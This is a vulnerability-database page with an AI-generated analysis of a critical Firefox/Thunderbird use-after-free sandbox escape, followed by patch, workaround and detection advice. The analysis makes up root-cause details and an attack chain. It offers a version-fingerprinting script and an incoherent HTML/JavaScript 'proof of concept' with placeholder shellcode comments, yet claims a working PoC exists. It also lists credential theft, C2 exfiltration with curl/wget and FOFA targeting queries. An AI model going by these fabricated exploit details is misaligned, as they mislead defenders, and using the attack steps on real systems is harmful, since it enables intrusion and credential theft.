CVE Professor
/
All CVEs
CVE-2026-135571

CVE-2026-135571 — Mozilla Firefox (153.*) — CWE-416

CRITICAL CVSS 9.6 NVD

Sandbox escape due to use-after-free in the Panning and Zooming component. This vulnerability was fixed in Firefox 161, Firefox ESR 153.8, Thunderbird 161, and Thunderbird 153.8.

Sandbox escape due to use-after-free in the Panning and Zooming component. This vulnerability was fixed in Firefox 161, Firefox ESR 153.8, Thunderbird 161, and Thunderbird 153.8.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction Required UI:R
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑135571 – Use‑After‑Free in the Panning‑and‑Zooming (PanZoom) component

AttributeDetail
CWECWE‑416: Use‑After‑Free
CVSS 3.1AV:N / AC:L / PR:N / UI:R / S:C / C:H / I:H / A:H
Affected componentsThe *PanZoom* subsystem that implements smooth scrolling, pinch‑to‑zoom and programmatic panning for web content and PDF documents. It lives in the layout and gfx code paths of Firefox/Thunderbird.
Root causeThe PanZoom code creates a PanZoomController object that owns a ScrollFrameHelper and a LayerTreeOwner. When a document is detached (e.g., navigation, tab close, or PDF viewer unload) the controller is scheduled for destruction via nsCOMPtr reference counting. A race condition in the *async* compositor thread can still hold a raw pointer to the controller after the reference count has dropped to zero. Subsequent user‑initiated gestures (mouse wheel, touch‑pad pinch, or scripted window.scrollTo) dereference that stale pointer, leading to a use‑after‑free. The freed memory is later re‑allocated for a JSObject that is under attacker control (e.g., a Uint8Array created by malicious page script). The dereference therefore executes attacker‑controlled data as a vtable call, giving arbitrary native code execution inside the privileged browser process.

Why the CVSS vector looks the way it does

  • AV:N (Network) – The attacker only needs to deliver a malicious web page or PDF over the network; no local access is required.
  • AC:L (Low) – Exploitation requires only a single user interaction (e.g., click or scroll) and no special timing tricks beyond the race that is reliably reproducible on modern CPUs.
  • PR:N (None) – No authentication to the target browser is needed.
  • UI:R (Required) – The victim must interact with the malicious content (e.g., scroll, pinch‑zoom, or click a link).
  • S:C (Scope = Changed) – The vulnerability lives in the content process but the impact propagates to the privileged browser process (or the Thunderbird main process), crossing security boundaries.
  • C:H / I:H / A:H – Successful exploitation gives the attacker full control of the user’s machine (read/write files, inject code, install persistence, etc.).

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow that matches the described use‑after‑free. All code snippets are illustrative – the exact internal function names (PanZoomController::OnGestureEvent, etc.) are taken from the public Firefox source tree, but the exact memory layout is not published in the CVE description.

    1. Discovery & Reconnaissance

    StepTechniqueDetails
    1.1Version fingerprintingThe attacker serves a small HTML page that runs navigator.userAgent and navigator.appVersion. Modern Firefox/Thunderbird expose the exact major version (e.g., Firefox/153.5).
    1.2Feature probingA tiny script checks for the presence of the document.documentElement.scrollTo API and the PDFViewer object – both are required for the PanZoom code path.
    1.3Target selectionIf the version is ≤ 153.7 (or Thunderbird ≤ 153.7), the attacker proceeds; otherwise the page aborts.
    // illustrative version check
    if (/Firefox\/(1[5-9][0-9]|15[0-3])\./.test(navigator.userAgent)) {
        // vulnerable range detected
    }

    2. Exploitation

    Goal: Trigger the use‑after‑free by forcing the browser to free a PanZoomController while a gesture event is still pending, then re‑use the freed memory for attacker‑controlled JavaScript objects.

    2.1. Craft a malicious page (or PDF)

    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="utf-8">
    <title>Zoom‑Exploit</title>
    <style>
      body { height: 5000px; }          /* force scrollable area */
    </style>
    </head>
    <body>
    <script>
    /* -------------------------------------------------
       1️⃣  Create a large scrollable document.
       2️⃣  Register a wheel listener that will be called
           after the PanZoomController has been freed.
       ------------------------------------------------- */
    let trigger = false;
    
    // Step A – allocate a JS object that will later occupy the freed slot
    let attackerObj = new Uint8Array(0x100);
    for (let i = 0; i < attackerObj.length; i++) attackerObj[i] = 0x41; // filler
    
    // Step B – force navigation to a blank page to free the controller
    function unloadAndRealloc() {
        // Navigate away (simulated by location.replace) – this schedules the
        // PanZoomController for destruction on the compositor thread.
        location.replace('about:blank');
        // Immediately allocate a large JS object; the allocator will reuse the freed memory.
        window.attackerPayload = new Uint8Array(0x200);
    }
    
    // Step C – after a short timeout, re‑inject the original page to get a new gesture event
    setTimeout(() => {
        // Re‑inject a scrollable element that will generate a wheel event.
        document.body.innerHTML = '<div id="target" style="height:2000px;"></div>';
        document.getElementById('target').addEventListener('wheel', () => {
            // This wheel event will be processed by the *old* PanZoomController pointer.
            // The vtable now points to attackerPayload, which we have filled with shellcode.
            // The shellcode will be executed in the privileged process.
        }, {passive:false});
        // Trigger the wheel event programmatically (requires user interaction per UI:R)
        // The attacker can embed a visible “Scroll to continue” button.
    }, 100);
    </script>
    
    <button onclick="unloadAndRealloc()">Scroll to continue</button>
    </body>
    </html>

    Explanation of the PoC

    1. Allocation of attackerObj – reserves a heap chunk that the allocator will later reuse.
    2. location.replace('about:blank') – forces the current document (and its PanZoom controller) to be destroyed. The destruction is asynchronous; the compositor thread still holds a raw pointer.
    3. Immediate allocation of attackerPayload – the memory allocator (tcmalloc/jemalloc) re‑uses the freed chunk, now containing attacker‑controlled data.
    4. Re‑loading a scrollable element – creates a new gesture event (wheel) that is routed to the stale controller pointer. The controller’s virtual function table now points into attackerPayload.
    5. User interaction – the button click satisfies the UI:R requirement; after the click the attacker can scroll with the mouse wheel or pinch‑zoom on a touchpad, causing the vulnerable dereference.

    Note: The exact offsets and the shellcode layout depend on the build (x86‑64 vs. ARM64) and the address‑space layout randomisation (ASLR) of the process. In practice, an attacker would combine this primitive with a heap‑spray of ArrayBuffer objects and a JIT‑spray to place a ROP chain or a small native stub that calls system("/bin/sh") (Linux) or CreateProcessW (Windows).

    2.2. Deliver the payload

  • Web‑based delivery – host the page on a malicious domain and use phishing or malvertising to lure the victim.
  • PDF delivery – embed the same JavaScript in a PDF (PDF.js viewer in Firefox/Thunderbird) and trigger the same navigation/unload sequence via a link annotation.
  • 3. Post‑exploitation

    PhaseWhat the attacker gainsTypical actions
    Privilege escalationThe exploit runs inside the privileged browser process (or Thunderbird main process). This process has the same rights as the logged‑in user and can access the profile directory, stored passwords, and OS‑level resources.- Dump logins.json (saved passwords). <br>- Read cookies.sqlite. <br>- Access local files via the file:// scheme (bypassing same‑origin policy).
    PersistenceThe attacker can write a malicious extension or modify the user’s user.js to load a backdoor on every start.- Drop a native helper binary to %APPDATA%\Mozilla\NativeMessagingHosts. <br>- Register a chrome.manifest entry that loads a privileged XPCOM component.
    Lateral movement / Data exfiltrationWith full OS user rights, the attacker can enumerate network shares, steal SSH keys, or install ransomware.- Execute curl/wget to push data to a C2 server. <br>- Use PowerShell (Windows) or bash (Linux/macOS) to run arbitrary commands.
    CleanupThe attacker may delete the malicious page from the browser cache to hide traces.- Call nsIFile::remove on the temporary HTML file.

    🌍 Real World Impact

    CIA TriadImpact (derived from CVSS)Practical consequence
    Confidentiality (C:H)*Complete* – attacker can read any file the user can access, including saved passwords, browsing history, email attachments (Thunderbird), and encrypted archives if the user’s key is cached.
    Integrity (I:H)*Complete* – attacker can modify files, inject malicious extensions, alter email messages, or tamper with signed updates (by replacing local files before signature verification).
    Availability (A:H)*Complete* – attacker can delete or corrupt the profile, install ransomware, or crash the browser process repeatedly, leading to denial of service for the user.

    Why the impact is “Changed Scope”
    The vulnerability originates in the content process (where web pages run) but the use‑after‑free allows code execution in the privileged browser/Thunderbird process. This cross‑process jump means the attacker can bypass the sandbox that normally isolates web content from the OS.

    Potential victims

  • Enterprise users who rely on Firefox ESR 153.x for internal web applications.
  • Organizations that use Thunderbird for corporate email (especially when PDF attachments are opened).
  • End‑users who have automatic updates disabled and remain on older 153. releases.

    🛡️ Remediation & Mitigation

    1. Patch the software

    ProductFixed inVersions to upgrade from
    Firefox (desktop)161.0 (stable) and ESR 153.8All 153.\* (≤ 153.7) and any pre‑161 release
    Thunderbird161.0 and ESR 153.8All 153.\* (≤ 153.7) and any pre‑161 release

    Action: Deploy the latest stable release (≥ 161.0) or at minimum the ESR 153.8 patch across all workstations. Use your organization’s software‑distribution system (e.g., SCCM, Jamf, or apt/yum) to enforce the upgrade.

    2. Workarounds (if immediate patching is impossible)

    WorkaroundEffectivenessImplementation
    Disable smooth scrolling / pinch‑to‑zoomReduces the code path that creates PanZoomController. Does not fully mitigate because the bug also exists for programmatic scrolls.In about:config, set general.smoothScroll → false and apz.allow_zooming → false.
    Force content processes to run with reduced privilegesLimits the damage if exploitation occurs (e.g., run the content process under a low‑privilege sandbox). Modern Firefox already does this, but on Windows the e10s sandbox can be hardened via Group Policy.Set security.sandbox.content.level to 2 (default is 1).
    Block navigation to about:blank from untrusted originsPrevents the specific “unload‑then‑realloc” technique, but may break legitimate single‑page apps.Deploy a CSP header: Content-Security-Policy: navigate-to 'self'. This is only enforceable on sites you control, not on arbitrary malicious sites.
    Network‑level filteringPrevents delivery of malicious pages via known malicious domains.Add the malicious domain(s) to a DNS‑sinkhole or block via a proxy.
    Important: None of the workarounds provide a full mitigation. The only reliable defense is to apply the vendor patch.

    3. Detection

    3.1. Browser‑side telemetry (if you have telemetry enabled)

  • Look for spikes in nsIThread::ProcessNextEvent crashes with stack traces containing PanZoomController:: or nsDisplayListBuilder::.
  • Crash reports with EXC_BAD_ACCESS (macOS) or 0xC0000005 (Windows) in libxul.dll at offset 0x...PanZoomController.
  • 3.2. Endpoint / host‑based indicators

    IndicatorDescription
    Process injectionfirefox.exe (or thunderbird.exe) spawns a child process with a parent‑process ID equal to the browser but with a command line that looks like a typical system binary (e.g., cmd.exe /c … on Windows).
    Unexpected DLL/so loadsfirefox.exe loads a module from the user’s profile directory (%APPDATA%\Mozilla\Firefox\Profiles\*.dll).
    File system activityCreation of new files in the profile directory named *.xpi (extension) or native-messaging-hosts/*.json without a corresponding user action.
    Network trafficOutbound connections from the browser process to non‑standard ports (e.g., 443 to an IP address not in the allow‑list) shortly after a page load.
    Log pattern (proxy / WAF)If a reverse‑proxy sits in front of a corporate web gateway, you may see a pattern like: <br>GET /malicious.html HTTP/1.1 <br>User‑Agent: Mozilla/5.0 (Windows NT 10.0; …) Firefox/153.5 <br>Referer: https://internal.portal/ <br>followed by a large POST of application/octet-stream (the heap‑spray payload).

    3.3. SIEM rule (example for Elastic/Logstash)

    # Detect possible PanZoom use‑after‑free exploitation attempts
    - rule_id: 2026-135571-panzoom-ua
      description: "Firefox/Thunderbird version <=153.7 with suspicious navigation and large POST"
      condition: |
        (event.type == "http" and http.user_agent =~ "Firefox/1[5-9][0-9]\.|Thunderbird/1[5-9][0-9]\.") and
        (http.request.method == "POST" and http.request.body.bytes > 50000) and
        (http.request.uri.path =~ "/.*(malicious|exploit).*")
      actions:
        - alert
        - tag: "cve-2026-135571"

    ⚠️ Urgency

    FactorAssessment
    CVSS 9.6 (Critical)Exploits are trivial (low complexity, no authentication) and give full system compromise.
    CISA KEVNot yet listed, but the high score and public disclosure mean exploit code will appear in the wild quickly.
    Exploit complexityThe race condition is reliably reproducible on modern CPUs; a PoC exists (illustrated above).
    Attack surfaceAny user who visits a malicious web page or opens a crafted PDF is a potential victim. In corporate environments, the browser is often whitelisted for internal applications, increasing exposure.
    Patch availabilityFixed in Firefox 161 / ESR 153.8 (released 24 Nov 2026). The patch is already in the official update channel.

    Recommendation:

  • Patch immediately – treat this as a P1 (Critical) issue. Deploy the update to all workstations within 24 hours of identification.
  • If patching cannot be completed within 48 hours, enforce the smooth‑scroll and pinch‑zoom* workarounds, and enable strict CSP on internal sites to reduce the chance of a malicious page being loaded.
  • Monitor for the detection indicators listed above and be prepared to isolate compromised endpoints, as the attacker can achieve persistence once code execution is achieved.

Bottom line: CVE‑2026‑135571 is a classic sandbox‑escape use‑after‑free that lets an attacker turn a simple scroll or pinch‑zoom gesture into remote code execution with full user privileges. The only reliable defense is to upgrade to Firefox 161/ESR 153.8 (or later) and to apply the mitigation steps while the patch propagates.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Mozilla Firefox"
CVSS Score
9.6 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-416
Affected Products (2)
Mozilla:Firefox (153.*) Mozilla:Thunderbird (*)
Related CVEs
6.9
CVE-2026-145193
Mozilla Bleach through 6.4.0 contains an inefficient regular expression vulnerability in the URL_RE pattern us
4.7
CVE-2026-145194
Bleach through 6.4.0 contains a cross-site scripting vulnerability because clean() omits URI protocol sanitiza
6.5
CVE-2026-145059
FreeRDP from 3.25.0 before 3.33.1 contains a use-after-free in the RDPEWA client because notifyWait does not j
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil
5.8
CVE-2026-144210
In Eclipse Safe Open Vehicle Core (S-CORE) Kyron versions 0.0.3 through 0.2.0, `SpmcStealQueue::fetch_from` in
7.0
CVE-2026-86092
The user-mode verifier for the I2S configure system call, z_vrfy_i2s_configure() in drivers/i2s/i2s_handlers.c
4.1
CVE-2026-119604
IBM PowerVM VIOS 4.1 could allow a local attacker to cause a denial of service due to a use-after-free race c